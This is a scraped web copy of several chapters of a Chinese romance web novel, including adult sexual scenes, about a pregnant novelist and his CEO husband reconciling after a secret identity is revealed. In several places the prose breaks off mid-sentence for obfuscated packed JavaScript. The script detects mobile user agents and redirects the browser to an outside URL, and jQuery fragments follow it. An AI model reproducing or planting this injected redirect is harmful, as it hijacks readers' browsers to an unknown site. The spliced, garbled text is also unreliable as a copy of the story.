也是他作为小说家沉心,第一次举办的线下签售会。 在纪轻行书房的发现他压着没说,十天前,两人回到自己的小家,他便开始步步为营。 “听说沉心下周末要开线下签售会。” 正优哉游哉抱着沈昕看电视的纪轻行一愣,故作云淡风轻:“嗯,我听副总说了,是他们项目组的决定。” 沈昕无奈地笑了一下,心想阿圆早就告诉他了,签售会是纪轻行提议的,而且每一个细节都亲自过问,要求极高,他工作室的设计师和世纪集团的策划都快被整疯了。 他不动声色地问:“到时你去吗?” “不去,这么点儿小事,不用我出马。” “可是我要去。” 纪轻行再一愣。 沈昕盘膝坐着,低下头,手指在隆起的肚子上缓缓地划:“我要去,你陪我一起去吧。” 纪轻行想了想,说:“昕昕,你是不是又……” “反正我一定要去,你不陪我,后果自负。” 纪轻行:…… 完蛋,被吃得死死的。 沈昕从回忆中走出来,面前正巧投下一片阴影,纪轻行到了。 他收起手机,往一旁让了让,纪轻行挨着他坐下,状似随意地看周围。 眼里的光非常锐利,像在检验什么重大成果,但很快就又一收,装腔作势地说:“嗐,公司里事还多着呢,哪儿有空来这边,你就非要让我过来?”看向沈昕,一怔,流里流气地笑了,“呦。” 沈昕也一怔:“怎么了?” 纪轻行盯着他的眼神简直拉丝儿:“和你老公我随便参加个活动罢了,怎么还打扮了呢?发梢卷得怪好看的,眉毛也修了?还稍微画了点儿?而且好香啊,你以前从来不喷这么香的香水。” “不好闻?” “很好闻,很配你。”纪轻行认真地说完,凑近沈昕耳边,“好闻得让我想立刻睡你。” 沈昕:…… 他厌恶地伸手推开纪轻行的脸。 纪轻行顺势握住他的手,喜道:“呦,还戴戒指了。” 沈昕淡淡道:“你平时一直戴,让我觉得我要是不也戴一下,就好像在打你的脸。” “无所谓啊,反正我喜欢你打我的脸。” 沈昕:………… 他看了纪轻行一会儿,问:“你紧张吗?” 纪轻行茫然:“紧张什么?” 沈昕道:“毕竟马上就要见到你的偶像了。” “我又不是小孩子,哪儿来的偶像。”纪轻行又摆出那副死装样子,“而且有一说一啊,沉心的书是写得不错——否则我们也不可能跟他合作——但以他的功底来看,他会不会其实……年龄很大?会不会已经七老八十了?我越想越觉得有可能,甚至有点儿担心,如果待会儿他走出来,真的是个老年人,那今天来的这么多少男少女会不会崩溃?会不会直接把场子砸了?” 沈昕:……………… “一般你话突然变多,又突然非常刻意地胡言乱语的时候,一定是因为心虚。”他冷冷地盯着纪轻行,“的确,我今天打扮了,至于为什么,你等下就会知道。但是你呢?你明明也专门打了发蜡刮了胡子穿了新的西装和皮鞋,这又是为什么?” “当然是为了给你长脸……” “最讨厌你糊弄我。”沈昕翻他一个白眼,首先站起来,“不说了,走吧,马上到点儿了。” 两人进了大宴会厅。 这次签售采用提前报名自动抽号的办法,抽到的号码就是现场排队的号码,既能让前来的人都拿到签名,也能避免从头排队到尾的疲惫。 现在抽号靠前的那部分人正排在展台前等待,号码靠后的人在周围参与玩小游戏赢奖品的活动,旁边还有小型餐台,供大家休息放松。 沈昕说:“办得不错。” 纪轻行一怔,一时不知道怎么接话。 因为这话的语气似乎并不是单纯的评价,而是有种……来自甲方的肯定的味道。 怪怪的。 他没接这茬,只道:“好多种小游戏呢,要去看看吗?签名你不用排队,我打过招呼了,会给咱们留,你如果想合影,待会儿也可以合影。” 沈昕笑了一下,说:“这都是你想做的事情吧?不过去了,就在这儿站着。” “这儿?”纪轻行一脸迷惑。 这里是大宴会厅刚进门的地方,站这儿干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一个年轻女生站在他面前,小心翼翼地说:“沉老师,您可以休息一会儿的,身体要紧。” 排在她后面的人纷纷附和:“是啊是啊,休息一会儿吧,我们不着急。” 沈昕今天穿的是宽松款的休闲衬衫和深色牛仔裤,修饰身材的效果不错,但他毕竟怀孕快七个月了,夏装无论如何也遮不住肚子,当然,他也没有刻意要遮。 大家看在眼里,出于礼貌,不好直接提起这种个人隐私,但同时也担心他辛苦。 他非常理解,也非常感激,从善如流道:“谢谢大家,那我签完这个就歇一会儿。” 看了面前的女生一眼,他打开书的扉页,认真地写下了一句话。 女生的眼睛立刻亮了,惊喜地双手捂住嘴:“老师!老师刚刚……” “嗯,我在外面听到了。to签,谢谢你专程从外地赶来,你也辛苦了。” “啊啊啊啊啊!谢谢沉老师!谢谢谢谢!啊我永远喜欢沉老师!”女生激动地转圈儿。 沈昕站起来,稍稍放松胳膊,有一搭没一搭地跟大家聊。 “……下一本不是连载,会把主要部分都先写完,就是上次说的那个历史题材,篇幅不长,大纲也定好了,不会等太久的。” “这次回来短时间内应该不会再出国……也不只是因为结婚了。” “上次线上活动的时候就说过我结婚了嘛,有孩子也是自然而然的事情。” “谢谢关心。我身体挺好的,我丈夫其实也……是我的读者,他全力支持我的写作,可能有时候比我还急呢,所以不用担心,结婚生孩子完全没有影响。” “而且结婚生孩子给了我全新的生活经历和情感体验,或许还会帮助到写作。” 说完这个,大家发出八卦的呼声。 沈昕笑了,视线撩起,向宴会厅最远处寻找纪轻行的身影。 他果然还在那里。 只是背过了身去,手臂支在墙上,额头枕在手臂上,肩膀剧烈起伏,一副…… 完了完了天塌了我喘不过气谁来救救我我需要人工呼吸……的架势。 沈昕非常无奈地在心里叹了口气。 垂下眼帘,漂亮的长睫毛遮住的眼睛里却满是甜蜜与宠溺。 46.快死了 签售活动进行了四个多小时,结束以后,沈昕站起来,精神骤然放松,接着便感觉到了累。 非常累,想找个人靠一下,能闭上眼睛就更好了。 再次看向大宴会厅门口,却没看见到纪轻行。 正巧工作人员叫他,他便跟着工作人员去了休息室。 是酒店的会议室,正中一张O型桌,他工作室的人和世纪集团参与项目的人分散坐着,周围放着活动用品。 “沉老师来啦,辛苦啦!” “辛苦辛苦,阿圆你怎么不提前说啊,早知道老师身体不方便,咱们就多安排几次场间休息嘛。” “没关系,我可以的。”沈昕笑起来,“说来我都没想到,现场效果居然这么好,除了签售,还有那么多有意思的小游戏,如果我是读者,一定会觉得非常不虚此行。这全靠大家费心出力,你们才是最辛苦的,太感谢了。” 他认认真真地鞠了一躬。 这时门口传来说话声—— “……给我吓一跳,原来沉心老师就是沈少,纪总,你瞒得我们好苦啊。我现在才明白项目先前为什么会突然中断,想必不是项目本身的问题,而是家庭问题……” 话音落,沈昕回头,恰与进门的纪轻行四目相对。 纪轻行的表情一瞬尴尬。 他旁边的年轻男人迎上来,礼貌地说:“沉老师……沈少,您好,嗐,我都不知道该怎么称呼了。我是何悦,咱们项目的总负责人。说是总负责,其实不过是执行纪总的构想,您知道的,就连那些小游戏都是纪总亲自设计的,以前我还觉得奇怪,心想纪总也太上心了,哈哈。现在看来,其实完全不需要我嘛,你俩在家一商量一定就得了,搞这么多迂回的流程干什么?” 何悦自然是开玩笑。 这是个在此时非常合适的玩笑,除了纪轻行,所有人都是一副“就是就是”“原来如此”的表情,有的笑得含蓄,有的笑得张扬,吃瓜的眼神在他们二人之间来回换。 沈昕道:“公私分明挺好的,而且有何总把关,也会更加客观。” “谢谢沈少信任。”何悦玩笑道,“纪总肯定也是这么想的。” 沈昕看向纪轻行,纪轻行的眼神却在躲闪。 何悦又说:“沈少,待会儿大家准备一起去吃个饭,小小地庆祝一下今天圆满成功,您要一起来吗?” 沈昕考虑了片刻,说:“我想去,但是老实说,现在的确有些累了,要么今天就先算了,改天我专门请大家。” 不仅是因为这个,更重要的是,他想尽快跟纪轻行单独相处。 何悦立刻非常上道地说:“没问题,那……纪总肯定要陪着,也不跟我们一块儿了对吧?” “嗯,你们去吧。”纪轻行终于开口了,“而且我今天晚上还有工作,政府的那个标,最近是关键阶段。” 何悦:“噢对对对。” “那你们聊,我就……”纪轻行一顿,略别扭地看向沈昕,“我先送你回家,然后再来公司。” 沈昕有点儿愣住。 纪轻行很怪。 他便说:“不用了,我自己回,你有事就去忙吧。” 纪轻行垂眸。 接着居然没有坚持送他,应了一声就走了。 沈昕再一想,恐怕他刚才下意识想说的就是他先走,又想到当着这么多人的面,不好直接撒下自己才改了口。 晚上有工作也不知道是不是真的。 毕竟走的很像落荒而逃。 他在……逃什么? 在酒店吃了晚饭,沈昕开车回家,洗澡的时候又干又热差点儿睡着,洗完出来倒是清醒了。 偌大的别墅里就他一个人,很空旷很冷清。 他去厨房倒了杯水,盘膝坐在客厅沙发上缓缓地喝。 现在的情况他始料未及,在他步步为营的设计和想象里,纪轻行知道了他就是沉心之后,至少应该…… “叮咚——” 手机响了,他期待地去拿,又害怕太期待了会落空,便在同时劝自己不要期待,又觉得没必要刻意控制…… 不过几秒,简直想遍了上下五千年。 然后果然白想了。 发信息的人是阿圆。 他略空落地鼓了鼓腮帮子,打开阿圆发来的图片,是热搜上的词条,有下午签售会的官图,有读者的返图,还有…… 签售会开始之前,他和纪轻行坐在休息区,脑袋靠在一起说话的照片。 不知道是谁拍的。 更不知是谁以迅雷不及掩耳之速挖出了他的隐私—— 已婚、怀孕、丈夫是世纪集团的总裁,也是他和原平台解约,成立个人工作室之后新合作方的老大。 英年早婚,吸引资方大佬靠的是才华和颜值吗?恐怕不。 因为他自己本身也是商二代,易嘉酒店集团的太子爷,签售会的举办场地正是他家的产业。 强强联合,这大概才是他和纪轻行结婚的原因。 写书这么多年,从前那么低调,现在却突然高调,想来亦绝不仅仅事关写作本身。 …… 沈昕划动屏幕,一脸平静地看完。 答应举办线下活动的时候,他就想到了会有这样的结果,不意外,也没什么不能接受的。 他现在唯一不太能接受的是纪轻行的表现。 又是“叮咚——”一声。 他几乎麻木地去看,然而事情总是喜欢出人意料,这次真地是纪轻行。 [网上的信息你不用管,我来处理。] 沈昕回了个“哦”。 接着决定问问他,可惜还没来得及打字,纪轻行就又发来了一条—— [今晚公司有重要紧急的事情,我估计得通宵,你不要等我了,自己先睡。] 沈昕:…… 要问的话在指尖转了一圈,打住,他再次回了个“哦”。 胸口像是有东西梗住了。 做错了吗? 难道他不该告诉纪轻行? 还是方式错了? 纪轻行难道觉得他用这种方式是故意耍他,让他在大庭广众下下不来台? 又或者是生气被瞒得太久? 所以他…… 是在生气吗? 淡淡的疏远、抗拒,是因为自己怀孕了,他的气不便直接发作是吗? 沈昕郁闷地抿唇。 垂下头,视线落在肚子上,穿着睡衣的时候尤其显得大。 或许也不是显的,毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14873599|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟马上七个月了,即将进入孕晚期,按照资料上面说的,肚子会长得很快,人的身体和心理负担也不是前中期能比的。 他本来觉得没什么。 因为近来纪轻行让他感受很好,让他的生活充满了轻松和幸福,让他觉得一切都不是问题,可没想到现在孕晚期还没正式到来,纪轻行却先掉链子了。 再有不到一百天,他们的孩子就要出生了,这无比关键的一百天,他、他们…… 沈昕越想越难受,侧身躺倒在沙发上,手掌托在腹底,委屈地喃喃自语:“宝宝你说,纪轻行……就是你那个爸爸,他到底怎么了?” …… 世纪集团总裁办公室。 灯黑着,窗帘拉着,纪轻行正面瘫在极其宽大的办公桌上。 哪儿有什么重要紧急必须通宵的工作,他只是…… 快死了。 没错!他快死了!尤其是在签售会上的时候,要不是他年富力强身体素质好,当时他就得插管! 手攥了又攥,他摸来手机,重新下载了阅读软件,突然想到自己把账号注销了,也就是说,之前和沉心的私聊记录都没了。 但不要紧,因为他都记得。 那毕竟是和沉心的聊天记录,根本不用主动记,很自然地就能倒背如流。 也正因此,当他想到曾经说过的话,想到对面的人居然就是沈昕,他就…… 要死了。 他都跟沈昕说了些什么啊啊啊! 还有以为沈昕和沉心是两个人,而沈昕怀疑沉心嫉妒沉心的时候,他说的那些话…… 他真地想去死一死! 除了死没有第二条路! 许久后,他抹了把脸坐起来,给朋友打电话。 还是领证那天沈昕听到的那个朋友。 “喂。” “老纪啊,你回来有一段时间了吧,什么时候咱们约……” “先不提那个,我跟你说,我要死了,我现在不敢回家。” “……哈?为什么?” “我、我睡了我的偶像,我的男神!我要疯了!” “哈?你……出轨了?” “不是!” 纪轻行崩溃地把事情讲了一遍。 绕来绕去,一会儿沈昕一会儿沉心,对面好不容易理解了,接着就笑了。 “这不挺好嘛,你小子走了狗屎运啊,这都能是一个人?一石二鸟,不对不对,应该说是一鸟二……二什么呢?” “滚蛋!” 什么狐朋狗友,半点儿指望不上,而且当初都怪他,好好的赶领证的时候打电话,弄得沈昕误会了,然后才会牵扯出来这么多又复杂又离奇的事情。 纪轻行愤愤地挂了电话,再次瘫在桌子上。 没有人理解他,没有。 他现在是真地、真地不敢回家! 以前总说沈昕逃避,现在换他了。 可是…… 又能逃避到什么时候呢? …… 又一天后的上午,纪轻行终于壮足狗胆,回到家门前,颤颤巍巍抬起手指刷了指纹。 “滴”地一声。 在他听来简直是死亡之音。 他屏住呼吸走了进去。 47.颠三倒四 沈昕正坐在餐桌边。 穿着深蓝色的真丝长睡袍,衣摆下是光着的小腿和脚,非常居家。 做的事情却不居家。 餐桌上放着架在增高架上的笔记本电脑、机械键盘和纸笔。 他在写稿。 纪轻行一看就窒息了。 以前沈昕写东西总是躲着人,不仅要去书房,还要反锁门,写完了还会把电脑和键盘收纳起来,今天却…… 故意的。 这时沈昕看向门口,仅是一个淡淡的对视,纪轻行的脊背就僵了。 沈昕收回视线,平静地问:“重要紧急的工作做完了?” 措辞如此刻意,纪轻行表面镇定内心狂跳,说:“差……不多吧。” “哦。”沈昕沉默片刻,“我有点渴,你帮我拿点儿喝的。” 明确的指令比不明的盘问好太多,纪轻行暂时松了口气,脱掉外套洗手,问:“想喝什么?” “牛奶吧,热的。”望着纪轻行走向厨房的背影,沈昕的唇线轻轻抿起。 不多时,纪轻行端着小托盘出来,上面放着装了热牛奶的敞口保温杯和装了冷萃咖啡的玻璃杯。 他把保温杯放在沈昕手边,自己拿起玻璃杯,走向餐桌另一侧。 “不看看吗?”沈昕说。 纪轻行一愣。 沈昕用下巴点了一下电脑:“你不是一直想看来着?” 纪轻行:…… 还没想好怎么回答,沈昕就又说:“的确,现在不看也无所谓,反正迟早都会看的。” 纪轻行:………… 沈昕端起保温杯,放在唇边吹了吹,小小地喝下一口。 比一般的热更热一点,却并非不能入口,是他最喜欢的温度。 纪轻行对他依旧关心、细心,那现在这个样子究竟是为什么? 这时纪轻行说话了:“你吃饭了吗?” 沈昕看了眼电脑屏幕上的时间,有点儿无奈地说:“这是什么问题,早饭当然吃了,午饭明显还没到点儿,不知道你问的是哪个。”抬眼道,“加班加混乱了?你吃过了吗?” 纪轻行喉头梗了一下,目光闪烁道:“这两天确实乱,回来之前吃了点儿,现在……我睡一会儿,困得不行了,午饭……你自己先吃。” 沈昕把视线挪到他手上:“困得不行了还喝咖啡?” “本来想……撑一下,但是突然又……” “你去睡吧。”沈昕打断。 纪轻行:……………… 在原地呆了半晌,他“嗯”了一声,放下咖啡转身上楼。 沈昕垂下眼帘,用余光看着那身影在楼梯上拐了个弯消失不见,脱力地垂下脑袋。 电脑屏幕上只有几行字。 他又陷入了严重的卡文。 毋庸置疑是因为纪轻行。 记得在签售会上,他说结婚生孩子并不会对写作产生负面影响,没想到这么快就打了脸,实在可笑、可悲…… 可怜。 他向后靠在餐椅里,双手下垂,这个姿态把肚子顶了起来,腹部的隆起明显比前两天更大,彻底成了无法忽视的存在,无论什么动作,稍微保持一会儿就觉得累。 还是因为纪轻行。 逃了两天,回来了依旧逃。 沈昕闭上眼睛,吐出一口沉重的气,撑着桌面站起来,也上楼去。 - 推开主卧的门,纪轻行背对门口坐在床边,听到他来了,脊背应激地收缩了一下。 沈昕不由地抓紧门把手,问:“还没睡?” “这就睡,刚才……突然有工作。”纪轻行站起来,开始脱衣服拉被子。 沈昕走进去,淡淡地说:“我也睡一会儿。” 纪轻行掀被子的动作一顿。 沈昕直言道:“不行?” 纪轻行眼睛转了一下,连忙想解释:“你刚才坐了那么久,最好先活动活动,而且都现在了,你一睡,中午饭怎么办?你三餐要按时吃。” 沈昕手指攥了攥,说:“但我现在也是突然特别困,就这一次难道还得考虑那么多吗?” “……我不是那个意思。” 于是二人一起躺在床上。 不是从前了,他们如今当然盖一条被子。 但氛围颇有些曾经貌合神离的意味。 纪轻行哪里是真要睡觉,硬生生地平躺着,不太敢动,生怕惹得沈昕又说些他抵挡不住的话。 沈昕当然也不是要睡觉,背对纪轻行侧躺着,眨着眼睛想了一会儿,说:“我肚子不太舒服。” 这点纪轻行极其重视,立刻凑过去问:“怎么突然不舒服了?” “你不要紧张。也没有特别难受,就是有点儿堵,你帮我揉揉吧。” 纪轻行一愣。 沈昕问:“不可以吗?” “怎么会?你怎么又开始……瞎想了。”纪轻行语气弱弱的,手掌放上沈昕的肚子,一顿。 沈昕是裸睡。 纪轻行装作无事,问:“具体哪里不舒服?” “哪里都不舒服。” 纪轻行再一愣,沈昕话里有话,他不便多问,轻轻打圈揉起来。 揉了一会儿,气氛似乎好了些,纪轻行不由地放松。 然而沈昕却不准备就这样放过他,又说:“这里好了,你往下一点。” 纪轻行没有多想,听话照做。 沈昕说:“再往下一点。” 纪轻行继续照做。 沈昕:“再往下。” 纪轻行继续听话照做…… 猛地顿住。 看向沈昕的脸,又连忙挪开视线。 沈昕低声问:“你不想碰我?” 纪轻行勉强道:“你不是困了?而且还……不舒服,别胡来。” “我现在好了。” “好了就多休息一会儿。” “可是我都已经……” “想点儿别的转移一下注意力,要是……我在这儿会影响你,那我就出去。” 沈昕沉默。 纪轻行作势要下床,沈昕便道:“算了。” “你……” “没事。” 沈昕拉被子把自己卷起来,躺得更靠床边,说:“你盖别的吧。” 纪轻行:…………………… - 纪轻行最后还真睡着了。 因为这几天心乱如麻一直没怎么睡,加上沈昕这次签售会开得急,他亲力亲为忙了好一阵子,称得上身心俱疲。 沈昕面无表情地看着他。 最终掀开被子下床,拾起放在床头的睡袍缓缓穿上。 纪轻行醒来已是傍晚。 他一个激灵坐起来,先看旁边,沈昕不在,再看自己,身上盖着一条单人空调被。 当时,沈昕把双人被抢走之后,他没再盖别的,所以这当然是沈昕给他盖的。 沈昕很关心他。 哎。 纪轻行抬手扇了自己一巴掌。 现在到底该怎么办啊?! 做了好半天心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890076|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理建设,他终于走出卧室,下楼继续面对疾风。 沈昕依旧坐在餐桌边,拿着笔在纸上“唰唰唰”地写,手边摊着不少白色卡片。 在签名? “晚饭给你留在厨房了。”沈昕淡淡地说。 纪轻行“哦”了一声:“不着急吃,还不太饿。” “那过来看看?” ……又是这句话。 纪轻行定在原地。 沈昕捏起一张卡片递过去,纪轻行只好接了。 卡片上果然是“沉心”二字。 很漂亮的行书。 翻过来另一面是沈昕的照片,签售会中场休息时拍的。 “给你的。”沈昕抬手指了下餐桌,“你不是想要签名和照片吗?这些都是给你一个人的,要多少都可以。还想要什么?也都可以给你。” 纪轻行顿时尴尬,手上的签名照拿也不是放下也不是。 此时此刻,他无异于被沈昕放在火上烤。 他能感受到沈昕不高兴,却拿不准不高兴的点是什么,生怕自己想错了、劝歪了,适得其反。 直接问…… 也不行,不解风情的傻子肯定过不了关。 他决定把节奏放缓,等事情发展发展明晰明晰再说。 这样又过了两天。 纪轻行早出晚归,在家的时间短,沈昕不知道他是真地工作忙还是仍在逃避,等了这么久,确实无法再等下去了。 深夜,纪轻行睡得很不踏实,一种异样的感受令他不断蹙眉,最后猛地清醒,睁眼一看,沈昕…… 正在摸他。 十八公分已经差不多名副其实。 纪轻行立刻弹起来:“昕昕,你……” 昏暗中看不太清表情,却能感受到环绕在周围的低落氛围。 沈昕上前勾住纪轻行的肩膀,低声说:“一般这种情况,你难道不是该直接压倒我?” 纪轻行语塞。 然后说:“你怀孕了,这方面要控制。” “可是我听说,怀孕以后适当过性生活有好处。” “那是中期,你都……” “我也才刚过七个月。” 纪轻行继续语塞。 片刻后,沈昕退了一步:“那先不说我,至少你可以。” “我……不用的。” 沈昕叹了口气:“刚回国那几天我累得很,接着去你家住了一段时间,一直没做什么。回来以后,你我各自忙着签售会的事,更是顾不上。这么长时间,你怎么可能不想?躺下,让我伺候你。” 沈昕贴着纪轻行的耳朵,一句话说得他如遭雷击,直接僵住。 见他不答,沈昕又要上手,纪轻行猛然反应过来按住他。 按得非常坚定。 沈昕顿时沉了脸,垂下眼帘,缓而深长地吸了口气,拨开纪轻行的手,下床走到窗边,背对纪轻行的肩膀一下一下起伏。 纪轻行怔怔地看着他。 接着,沈昕转身走向卧室门。 脚步很快,身影明晃晃地说着他受不了了他要离开。 纪轻行心头一紧,跳下床追上去,一拉沈昕手腕,两步转到面前:“昕昕,你、你生气了?” 沈昕抬头,眼神又难过又委屈,“唰”地淌下一滴眼泪。 纪轻行:! 心口紧到极致,“嘭”地一声彻底炸开。 “昕昕……” “你闭嘴。”沈昕声音发抖,咬着牙将拳头捏紧又张开,冲着纪轻行的脸,用尽全力地扇了上去。 48.听话 这一下直接给纪轻行打懵了。 脑袋嗡嗡嗡的,还没反应过来,就听到了沈昕更加义愤填膺的控诉—— “你以前总说如果见了沉心,说不定会发现他和想象的根本不一样,说不定你还会讨厌他,我以为那是为了安抚我才说的,没想到竟然是真的!” “我就是沉心,你失望了对不对?不仅和你想的不一样,而且两个人原来是一个人,一下子就没意思了对不对?” “你就算对我再好再喜欢我再要跟我结婚生孩子跟我过一辈子,但我也永远走不进你的灵魂对不对?我只是你需要妥协的现实,只是这样就够了,一旦多了你反而会别扭,对不对?” “因为你堂堂世纪集团总裁纪轻行,在现实生活中,只需要一个可以被你居高临下掌控着,给你装点门面、提供情绪价值的家伙,对不对?!” “可就算是这样,你也应该对我说啊!你为什么不对我说呢?是又在自我纠结自我拉扯吗?像之前提离婚的时候一样,不过现在是因为我怀了孩子,你要负责任,所以再一次努力想办法让自己妥协是吗?!” 沈昕越说越激动,声音颤抖着。 “可我不想要你的妥协,一点儿都不想要!我只是后悔……后悔如果我早知道你会这样,我就、就不告诉你我是沉心了,我可以瞒着你一辈子,永远也不让你发现,因为、因为……我喜欢你。” “早就喜欢你了,早就被你牵动着情绪,只是直到现在我才真正地、强烈地确认,才知道我心里曾经的那些细微变化究竟意味着什么。” “我很喜欢很喜欢你,我舍不得离开你,为此我的确可以一辈子不告诉你我是沉心,只要你能全心全意地和我在一起……虽然我也不知道那是否真的算是全心全意,但至少你不会像现在这样。我觉得我自己很卑微,为什么会有这种跌进尘埃里的想法呢?可是我真地……喜欢你。” 沈昕缓了一会儿。 看起来冷静了一些,也绝望了一些。 “不过说这些也没用了,因为你已经知道了,我就算再卑微也、也不可能面对你这样的别扭和敷衍还依旧无动于衷,纪轻行,你不用妥协,你只要说一句话,说你接受不了我就是沉心,咱们就断,就算我再喜欢你,我也有起码的尊严,我不会缠着你,不会成为你的负担和麻烦,有孩子也无所谓,我可以像梁叔叔一样去……梁叔叔那么大的年龄,而且怀孕都八个多月了最后不是也没事,我这么年轻,你不用担心,不用想那么多,你可以永远顺着你的心而活……” 沈昕浑身发抖。 他咬紧牙关,竭力控制自己的抖。 该说的都说了,此时此刻在这里,在这个人面前,他待不下去了。 他推开纪轻行,继续向门口走去。 拉住门把手的时候,背后突然传来巨大的力量,扳着他的双肩把他一转,顺势按在门背后。 纪轻行亦眼圈通红嘴唇发抖,痴痴地看着他。 看了半晌,极力地吞咽了一下,哑着嗓子道:“老师……” 沈昕浑身一凛。 “沉老师,我求求你,让我说句话好么?你不让我说话,我今天就算是死了也死不瞑目!” “我……知道了以后的确很震惊,这怎么能不震惊呢?我想你知道我就是、就是……的时候也一定很震惊,很不知道所措对吧?我现在明白了,你当初突然回香国,最大的原因恐怕不是别的,就是这个对吧?我也一样啊,就算在其他事情上面再厉害再冷静,在这件事情上我也不可能继续厉害冷静了,因为这是……对我来说最最重要的事。我会突然变傻,会脑子一片空白,会胡思乱想患得患失寸步难行,你说我牵动着你,你又何尝不是牵动着我?” 纪轻行握着沈昕肩膀的手不断用力。 “我固然震惊,固然有异常的反应,可却不是因为你说的那些,绝对不是,而是因为……你,沉心,你是我的偶像,是我的神,是我崇拜得五体投地,要仰视一辈子的人,我把你放在很高很高的位置,便也下意识就觉得你离我非常遥远,即便我们聊过天,但无形之中的距离始终存在,你在我心里自带滤镜,你在天上而我在地面……你懂吗?” “在你面前,我永远小心翼翼,永远真诚却谨慎,可是现在却告诉我……曾经对你胡说八道胡言乱语胡乱开玩笑,我欺负过你弄哭过你,我让你伤心生气,让你从一个地方逃跑到另一个地方,从一个国家逃跑到另一个国家,我甚至让你……怀了孩子。你那么好,那么干净、高贵,而我却像一片污浊,粗暴地侵染了你,我……怎么能原谅我自己?我没有面目出现在你面前,我想找个地缝钻进去,只想给你跪下,让你狠狠地打我、骂我、责怪我!可是你却……依然对我好,我心里……也很难受,整个人就像被你吊着、攥着,不上不下,提心吊胆……” 沈昕看着他:“你的意思是,不能允许自己对沉心做过这些,因为他是你的神明,但对沈昕可以。也就是说,如果是两个人,沉心终归比沈昕……” “不。”纪轻行坚定地拒绝,“不是这样的,或许之前我也迷茫,但就在现在,就在刚才,就在你说了那么多,尤其说了你非常非常喜欢我之后,我就彻彻底底地想明白了。” “沈昕就是沉心,沉心就是沈昕,他们是一个人,一个人没办法自我割裂,正因为你有沉心的那一面,我才会在不知不觉中被你吸引、喜欢上你,也正因为你有沈昕的那一面,我对你的喜欢才是脚踏实地的,不悬浮、不空谈的喜欢。如果你不是沉心,我就不会真正爱上你,不会在先前还懵懵懂懂的时候就不惜一切地挽回你;而如果你不是沈昕,我也不会享受有你的生活进而和你发生关系,孕育一个新的生命。我只不过是,先遇到了灵魂,再遇到了身体,他们合二为一,我便陷了进去。” “我不想出来,永远也不想,我要一辈子和你在一起,我仅仅是……骤然之间,不知道该怎么对待你了。” 纪轻行说得满头大汗,急得不得了。 沈昕却前所未有地平静了。 他不再流眼泪,面孔放松了,眼神变得柔和,甚至带着若有若无的笑意:“你不知道该怎么对待我?我这几天不是一直在告诉你么?” 纪轻行的表情怔怔的。 沈昕抬手摸上他的脸。 “你说我站在很高的位置,离你很遥远,或许曾经是吧,但现在我已经站在了你面前,随意抬手就有真实的触感。你说我干净高贵,而你是污浊,侵染了我,我不那么觉得。我没有那么好,你也没有那么不好。无论是在屏幕另一边看书的你,还是在我身边叽叽喳喳的你,对我来说都那么特别,我心里和我身上所有最为隐秘的情绪与感触,都是被你调动出来的。如果没有你,我在写作中获得的快乐幸福一定会大打折扣,如果不是你,我也绝不会心甘情愿脱光了衣服主动靠近……” 沈昕双手勾住纪轻行的脖子,贴在他耳边哑声说着。 语气充满渴望、祈求与诱惑,同时又是命令。 “你知道吗?我就想让你侵染我,就想让你抱我、亲我、咬我、弄疼我……就想被你弄大肚子,就想生你的孩子。” 他的声音和脸颊发烫,隆起的肚子阻隔了二人的距离,他觉得不满意,不管不顾地向纪轻行身上推挤。 他只希望他们能再一次密不可分,无论身体还是精神,都不要有任何一点点缝隙和空气。 纪轻行听话地吻了上去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不要,就快好了。”沈昕坚决地摇头,突然想到什么,问,“你是不是也疼?” 纪轻行抬手揉了揉他的脑袋,笑道:“痛并快乐着,这辈子都没这么快乐过。” 沈昕也笑了,说:“我也一样。” “但我有点儿困惑,为什么上次好像还挺顺利,按理来说,第一次应该最不容易。” 沈昕想了片刻,垂下头说:“可能是因为那时候的我,其他任何地方都比这里更疼,这里自然就不觉得了。” 纪轻行的表情变得伤感。 沈昕摇了摇头:“都过去了,不要说了,不要破坏现在。” 时隔七个多月,他们终于又真真正正地在一起了。 沈昕消耗体力巨大,更重要的是卸下了近日来的心理负担,结束之后只想好好睡一觉。 他躺在空调被里,双手捧着肚子。 纪轻行用大手拢着他的膝盖,细心地揉。 “疼吧?跪了那么久,全身的力量都压在上面。” “还好,床很软,不怎么疼。”沈昕眯着眼睛,意识开始朦胧,“刚才你不是也跪了,还跪在地上,肯定比我疼。” “那不一样,我是谁呀?我是你的狗,皮糙肉厚。” 沈昕笑起来,眼睛却闭上了,纪轻行的说话声像是从很远很远的地方传来似的。 耳朵听不清。 心里却再明白不过。 49.求欢 沈昕一觉睡了八个多小时,对于向来觉浅易醒的他来说很不寻常,醒来以后,身体和精神都感到极其放松和满足。 